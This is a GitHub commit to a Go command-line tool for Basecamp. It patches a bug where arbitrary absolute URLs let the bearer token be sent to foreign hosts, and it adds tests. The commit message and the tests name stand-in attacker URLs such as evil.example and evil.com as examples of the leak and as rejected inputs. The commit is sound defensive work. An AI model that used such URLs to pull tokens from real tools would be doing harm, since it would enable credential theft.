Skip to content

Commit b6d427d

Browse files
committed
Reject foreign-host URLs in api command to prevent token leak
parsePath returned absolute URLs verbatim when they lacked a numeric account-ID segment, so 'basecamp api get https://evil.example/x.json' sent the bearer token to an arbitrary host via the SDK's Authorization header. Return an error for absolute http(s):// URLs that aren't the canonical Basecamp form and propagate it through the get/post/put/delete handlers. Adds api_test.go coverage for the rejection.
1 parent b20051d commit b6d427d

2 files changed

Lines changed: 58 additions & 8 deletions

File tree

internal/commands/api.go

Lines changed: 31 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,10 @@ func newAPIGetCmd() *cobra.Command {
4747
return err
4848
}
4949

50-
path := parsePath(args[0])
50+
path, err := parsePath(args[0])
51+
if err != nil {
52+
return err
53+
}
5154
resp, err := app.Account().Get(cmd.Context(), path)
5255
if err != nil {
5356
return convertSDKError(err)
@@ -85,7 +88,10 @@ func newAPIPostCmd() *cobra.Command {
8588
return err
8689
}
8790

88-
path := parsePath(args[0])
91+
path, err := parsePath(args[0])
92+
if err != nil {
93+
return err
94+
}
8995

9096
// Parse JSON data
9197
var body any
@@ -134,7 +140,10 @@ func newAPIPutCmd() *cobra.Command {
134140
return err
135141
}
136142

137-
path := parsePath(args[0])
143+
path, err := parsePath(args[0])
144+
if err != nil {
145+
return err
146+
}
138147

139148
// Parse JSON data
140149
var body any
@@ -176,7 +185,10 @@ func newAPIDeleteCmd() *cobra.Command {
176185
return err
177186
}
178187

179-
path := parsePath(args[0])
188+
path, err := parsePath(args[0])
189+
if err != nil {
190+
return err
191+
}
180192
resp, err := app.Account().Delete(cmd.Context(), path)
181193
if err != nil {
182194
return err
@@ -205,16 +217,28 @@ func apiPathArgs(cmd *cobra.Command, args []string) error {
205217
// Handles full URLs and relative paths. The leading slash is stripped because
206218
// the SDK's accountPath and buildURL both add one — keeping it here would
207219
// double-slash and, on Windows, MSYS/Git Bash converts /path to C:\...\path.
208-
func parsePath(input string) string {
220+
//
221+
// Absolute URLs are only accepted in the canonical Basecamp form
222+
// (https://host/<numeric-account-id>/...); the numeric segment is what proves
223+
// the URL targets a Basecamp account. Any other absolute URL is rejected so we
224+
// never attach the bearer token to a request bound for a foreign host.
225+
func parsePath(input string) (string, error) {
209226
urlPattern := regexp.MustCompile(`^https?://[^/]+/[0-9]+(/.*)`)
210227
if matches := urlPattern.FindStringSubmatch(input); len(matches) > 1 {
211-
return matches[1]
228+
return matches[1], nil
229+
}
230+
231+
// Reject absolute URLs that didn't match the numeric-account-ID form.
232+
// Returning these verbatim would let the SDK send the Authorization header
233+
// to an arbitrary host (credential exfiltration).
234+
if strings.HasPrefix(input, "http://") || strings.HasPrefix(input, "https://") {
235+
return "", output.ErrUsage("API path must be relative or a Basecamp URL with a numeric account ID; refusing to send credentials to " + input)
212236
}
213237

214238
// Strip leading slash — the SDK prefixes the account path.
215239
input = strings.TrimPrefix(input, "/")
216240

217-
return input
241+
return input, nil
218242
}
219243

220244
// apiSummary generates a summary from the API response.

internal/commands/api_test.go

Lines changed: 27 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,33 @@ func TestParsePath(t *testing.T) {
2323

2424
for _, tt := range tests {
2525
t.Run(tt.input, func(t *testing.T) {
26-
assert.Equal(t, tt.want, parsePath(tt.input))
26+
got, err := parsePath(tt.input)
27+
require.NoError(t, err)
28+
assert.Equal(t, tt.want, got)
29+
})
30+
}
31+
}
32+
33+
// TestParsePathRejectsForeignHosts guards against bearer-token exfiltration:
34+
// an absolute URL without a numeric account-ID segment must be rejected before
35+
// it reaches the SDK, which would otherwise attach the Authorization header and
36+
// send credentials to the foreign host.
37+
func TestParsePathRejectsForeignHosts(t *testing.T) {
38+
bad := []string{
39+
"https://evil.com/projects.json",
40+
"http://evil.com/projects.json",
41+
"https://evil.com/",
42+
"https://evil.com",
43+
"https://3.basecampapi.com/projects.json", // no numeric account segment
44+
"http://127.0.0.1:9999/projects.json",
45+
}
46+
47+
for _, input := range bad {
48+
t.Run(input, func(t *testing.T) {
49+
got, err := parsePath(input)
50+
require.Error(t, err)
51+
assert.Empty(t, got)
52+
assert.Contains(t, err.Error(), "refusing to send credentials")
2753
})
2854
}
2955
}

0 commit comments

Comments
 (0)